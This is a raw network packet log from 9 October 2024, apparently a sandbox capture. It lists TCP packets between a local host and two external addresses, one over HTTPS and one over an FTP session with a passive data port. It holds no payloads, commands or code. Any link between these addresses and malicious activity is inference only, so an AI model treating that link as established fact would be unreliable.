Oct 9, 2024 15:01:39.374747038 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.374759912 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.374798059 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.374819040 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.374931097 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.374989986 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.375439882 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.375511885 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.516508102 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.516625881 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.516712904 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.516766071 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.517080069 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.517131090 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.517142057 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.517153978 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.517180920 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.517189026 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.517471075 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.517533064 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.517703056 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.517755985 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.517934084 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.518017054 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.518280029 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.518342972 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.518503904 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.518564939 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.518575907 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.518634081 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.519115925 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.519151926 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.519176960 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.519188881 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.519205093 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.519222975 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.519525051 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.519577980 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.519578934 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.519588947 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.519624949 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.519800901 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.519859076 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.519990921 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.520026922 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.520045042 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.520052910 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.520070076 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.520090103 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.604932070 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.605045080 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.605240107 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.605350018 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.605350018 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.605609894 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.605653048 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.605690956 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.605710030 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.605730057 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.605753899 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.605969906 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.606040001 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.606216908 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.606280088 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.606442928 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.606508970 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.606623888 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.606686115 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.607017994 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.607084036 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.607157946 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.607218027 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.607438087 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.607495070 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.607652903 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.607711077 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.607934952 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.607991934 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.608006001 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.608016014 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.608031034 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.608045101 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.608071089 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.608078957 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.608095884 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.608127117 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.608510971 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.608572960 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.750632048 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.750816107 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.750817060 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.750869036 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.750893116 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.750936985 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.751008987 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.751072884 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.751359940 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.751420975 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.751955032 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.752012014 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.752213955 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.752269030 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.752516031 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.752599955 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.752662897 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.752729893 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.752893925 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.752960920 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.753232956 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.753298998 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.753509045 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.753563881 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.753859043 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.753911972 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.754105091 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.754163980 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.754798889 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.754865885 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.754997015 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.755058050 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.755202055 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.755254030 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.839241028 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.839293957 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.839411020 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.839445114 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.839459896 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.839512110 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.839678049 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.839745045 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.839874029 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.839942932 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.840257883 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.840341091 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.840643883 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.840708017 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.840955973 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.841037035 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.841191053 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.841265917 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.841443062 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.841521978 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.841775894 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.841849089 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.842705011 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.842770100 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.842864990 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.842952013 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.844299078 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.844383955 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.844568968 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.844641924 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.844935894 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.845006943 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.845009089 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.845062017 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.862138033 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:43.411218882 CEST	49766	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:01:43.416178942 CEST	21	49766	5.2.84.236	192.168.2.9
Oct 9, 2024 15:01:43.416260958 CEST	49766	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:01:44.032128096 CEST	21	49766	5.2.84.236	192.168.2.9
Oct 9, 2024 15:01:44.032381058 CEST	49766	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:01:44.038733959 CEST	21	49766	5.2.84.236	192.168.2.9
Oct 9, 2024 15:01:44.253540993 CEST	21	49766	5.2.84.236	192.168.2.9
Oct 9, 2024 15:01:44.253741026 CEST	49766	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:01:44.258497000 CEST	21	49766	5.2.84.236	192.168.2.9
Oct 9, 2024 15:01:44.558885098 CEST	21	49766	5.2.84.236	192.168.2.9
Oct 9, 2024 15:01:44.559067011 CEST	49766	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:01:44.564064980 CEST	21	49766	5.2.84.236	192.168.2.9
Oct 9, 2024 15:01:44.779025078 CEST	21	49766	5.2.84.236	192.168.2.9
Oct 9, 2024 15:01:44.779361010 CEST	49766	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:01:44.784342051 CEST	21	49766	5.2.84.236	192.168.2.9
Oct 9, 2024 15:01:44.999363899 CEST	21	49766	5.2.84.236	192.168.2.9
Oct 9, 2024 15:01:44.999527931 CEST	49766	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:01:45.005247116 CEST	21	49766	5.2.84.236	192.168.2.9
Oct 9, 2024 15:01:45.221997023 CEST	21	49766	5.2.84.236	192.168.2.9
Oct 9, 2024 15:01:45.222273111 CEST	49766	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:01:45.227231026 CEST	21	49766	5.2.84.236	192.168.2.9
Oct 9, 2024 15:01:45.442713976 CEST	21	49766	5.2.84.236	192.168.2.9
Oct 9, 2024 15:01:45.443667889 CEST	49775	58997	192.168.2.9	5.2.84.236
Oct 9, 2024 15:01:45.448801041 CEST	58997	49775	5.2.84.236	192.168.2.9
Oct 9, 2024 15:01:45.448957920 CEST	49775	58997	192.168.2.9	5.2.84.236
Oct 9, 2024 15:01:45.449007034 CEST	49766	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:01:45.454463005 CEST	21	49766	5.2.84.236	192.168.2.9
Oct 9, 2024 15:01:46.060630083 CEST	21	49766	5.2.84.236	192.168.2.9
Oct 9, 2024 15:01:46.061717987 CEST	49775	58997	192.168.2.9	5.2.84.236
Oct 9, 2024 15:01:46.062057972 CEST	49775	58997	192.168.2.9	5.2.84.236
Oct 9, 2024 15:01:46.066987991 CEST	58997	49775	5.2.84.236	192.168.2.9
Oct 9, 2024 15:01:46.068150043 CEST	58997	49775	5.2.84.236	192.168.2.9
Oct 9, 2024 15:01:46.068203926 CEST	49775	58997	192.168.2.9	5.2.84.236
Oct 9, 2024 15:01:46.102626085 CEST	49766	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:01:46.283751011 CEST	21	49766	5.2.84.236	192.168.2.9
Oct 9, 2024 15:01:46.337003946 CEST	49766	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:01:54.683178902 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:54.683218956 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:54.683289051 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:54.688661098 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:54.688677073 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:55.692847013 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:55.692982912 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:55.694974899 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:55.694988012 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:55.695278883 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:55.743185043 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:55.752356052 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:55.799401045 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.250828981 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.250914097 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.250936985 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.251101017 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.251126051 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.310095072 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.482911110 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.482928038 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.482981920 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.483000040 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.483023882 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.483037949 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.483103037 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.483113050 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.483143091 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.483154058 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.483184099 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.483206034 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.484170914 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.484179974 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.484225035 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.526146889 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.526168108 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.526232004 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.719283104 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.719321966 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.719438076 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.719821930 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.719888926 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.720957994 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.721029043 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.721863985 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.721929073 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.722791910 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.722863913 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.723766088 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.723833084 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.758847952 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.758924007 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.759191990 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.759226084 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.759278059 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.950932026 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.951095104 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.951153040 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.951185942 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.951236010 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.951236010 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.953233957 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.953392982 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.953526020 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.953655005 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.953813076 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.953907013 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.953969002 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.953969002 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.953977108 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.954153061 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.954579115 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.954703093 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.955766916 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.955959082 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.956408978 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.956834078 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.957398891 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.957535028 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.958641052 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.958966970 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.959247112 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.959326029 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.991338968 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.991477966 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.991533041 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.991561890 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.991610050 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.991610050 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:56.991645098 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:56.991935015 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.037409067 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.037518978 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.037554979 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.037578106 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.037595987 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.038182020 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.180536985 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.180659056 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.180712938 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.180859089 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.180896997 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.180958033 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.181202888 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.181281090 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.181406975 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.181538105 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.181540966 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.181572914 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.181595087 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.181642056 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.181929111 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.182142019 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.182193041 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.182210922 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.182224989 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.182389021 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.185487986 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.185635090 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.185663939 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.185672045 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.185709000 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.185729980 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.185928106 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.185990095 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.186080933 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.186178923 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.186423063 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.186513901 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.186691046 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.186764002 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.187057972 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.187127113 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.187189102 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.187352896 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.277180910 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.277259111 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.277314901 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.277314901 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.277335882 CEST	443	49818	103.191.208.122	192.168.2.9
